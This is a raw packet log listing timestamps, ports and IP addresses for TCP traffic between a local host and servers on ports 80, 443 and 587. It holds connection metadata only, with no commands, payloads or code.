Jul 5, 2024 07:47:54.253676891 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.253690958 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.253700018 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.253724098 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.253823996 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.253865004 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.253956079 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.253971100 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.253982067 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.253993034 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254004002 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254012108 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.254014969 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254026890 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254039049 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254040956 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.254060030 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.254089117 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.254281044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254453897 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254465103 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254475117 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254484892 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254498005 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254499912 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.254508018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254518986 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254529953 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254532099 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.254542112 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254548073 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.254558086 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254570007 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254581928 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.254584074 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.254602909 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.254996061 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255007029 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255036116 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.255134106 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255145073 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255155087 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255167007 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255177975 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255178928 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.255189896 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255203962 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255204916 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.255213022 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.255234003 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.255259991 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.269855022 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.269901991 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.269921064 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.269931078 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.269968987 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.269994974 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.270006895 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.270042896 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.270100117 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.270111084 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.270119905 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.270149946 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.271722078 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.271740913 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.271769047 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.271792889 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.271837950 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.271871090 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.271881104 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.271891117 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.271919966 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.271997929 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272008896 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272017956 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272039890 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272057056 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272114038 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272123098 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272161007 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272233963 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272245884 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272255898 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272268057 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272285938 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272286892 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272316933 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272420883 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272466898 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272473097 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272557974 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272568941 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272578955 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272592068 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272603035 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272629976 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272804022 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272814989 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272825956 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272836924 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272849083 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272850037 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272861004 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272871017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272874117 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272886038 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272893906 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272897959 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.272924900 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.272952080 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273190022 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273200035 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273210049 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273220062 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273232937 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273236990 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273245096 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273262024 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273279905 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273485899 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273498058 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273509026 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273518085 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273531914 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273559093 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273634911 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273646116 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273657084 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273668051 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273679018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273686886 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273699045 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273710012 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273711920 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273720026 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273736954 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273747921 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273749113 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273757935 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273768902 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.273772955 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273792028 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.273812056 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.274195910 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.274207115 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.274216890 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.274229050 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.274243116 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.274257898 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.279067993 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.279088020 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.279124975 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.279194117 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.279259920 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.279277086 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.279304981 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.279383898 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.279397011 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.279407978 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.279429913 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.279441118 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.341444016 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.341454983 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.341486931 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.341536045 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.341547012 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.341613054 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.341655016 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.341665030 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.341675043 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.341701984 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.341715097 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.343138933 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343192101 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343202114 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343239069 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.343272924 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343319893 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.343322992 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343334913 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343374014 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.343463898 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343475103 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343514919 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.343529940 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343540907 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343588114 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.343677044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343693018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343703985 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343714952 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343727112 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343730927 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.343756914 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.343924999 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343940973 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.343975067 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:54.344016075 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.344027996 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:54.344063044 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:58.466121912 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:58.466315031 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:25.372226000 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:25.636372089 CEST	63878	443	192.168.2.4	104.26.12.205
Jul 5, 2024 07:48:25.636396885 CEST	443	63878	104.26.12.205	192.168.2.4
Jul 5, 2024 07:48:25.636472940 CEST	63878	443	192.168.2.4	104.26.12.205
Jul 5, 2024 07:48:25.645940065 CEST	63878	443	192.168.2.4	104.26.12.205
Jul 5, 2024 07:48:25.645951986 CEST	443	63878	104.26.12.205	192.168.2.4
Jul 5, 2024 07:48:26.156198978 CEST	443	63878	104.26.12.205	192.168.2.4
Jul 5, 2024 07:48:26.156266928 CEST	63878	443	192.168.2.4	104.26.12.205
Jul 5, 2024 07:48:26.160705090 CEST	63878	443	192.168.2.4	104.26.12.205
Jul 5, 2024 07:48:26.160713911 CEST	443	63878	104.26.12.205	192.168.2.4
Jul 5, 2024 07:48:26.160917044 CEST	443	63878	104.26.12.205	192.168.2.4
Jul 5, 2024 07:48:26.206218958 CEST	63878	443	192.168.2.4	104.26.12.205
Jul 5, 2024 07:48:26.248506069 CEST	443	63878	104.26.12.205	192.168.2.4
Jul 5, 2024 07:48:26.324775934 CEST	443	63878	104.26.12.205	192.168.2.4
Jul 5, 2024 07:48:26.324824095 CEST	443	63878	104.26.12.205	192.168.2.4
Jul 5, 2024 07:48:26.324898005 CEST	63878	443	192.168.2.4	104.26.12.205
Jul 5, 2024 07:48:26.330291033 CEST	63878	443	192.168.2.4	104.26.12.205
Jul 5, 2024 07:48:26.783221960 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:26.788376093 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:26.788449049 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:27.489628077 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:27.494973898 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:27.499896049 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:27.664172888 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:27.665138006 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:27.670150042 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:27.832032919 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:27.849541903 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:27.854532957 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.023988008 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.024936914 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:28.029902935 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.194856882 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.195059061 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:28.200074911 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.365201950 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.365376949 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:28.377912045 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.547306061 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.548055887 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:28.548116922 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:28.548154116 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:28.548177004 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:28.552898884 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.553008080 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.553087950 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.553098917 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.822659969 CEST	587	63879	162.254.34.31	192.168.2.4
Jul 5, 2024 07:48:28.870929003 CEST	63879	587	192.168.2.4	162.254.34.31
Jul 5, 2024 07:48:37.866327047 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:37.871330976 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:37.871402979 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:37.874456882 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:37.879199982 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.544902086 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545002937 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545066118 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.545108080 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545183897 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545195103 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545238018 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.545255899 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545267105 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545294046 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.545398951 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545408964 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545418978 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.545433044 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.545459032 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.550084114 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.550092936 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.550131083 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.550131083 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.589595079 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.650665045 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.650705099 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.650715113 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.650753975 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.650876999 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.650913000 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.650923967 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.650933027 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.650968075 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.651249886 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.651312113 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.651321888 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.651350975 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.651391983 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.651429892 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.651859999 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.651926041 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.651937008 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.651959896 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.652033091 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.652044058 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.652082920 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.652719021 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.652760029 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.652936935 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.652987003 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.653024912 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.653109074 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.653184891 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.653194904 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.653208017 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.653222084 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.653255939 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.653301001 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.655611992 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.655639887 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.655649900 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.655654907 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.655694962 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.740624905 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757514000 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757555962 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.757567883 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757579088 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757606983 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.757622004 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757657051 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757692099 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.757858038 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757873058 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757883072 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757903099 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.757919073 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757930040 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.757970095 CEST	63880	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:38.758260965 CEST	80	63880	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:38.758300066 CEST	80	63880	45.90.58.251	192.168.2.4
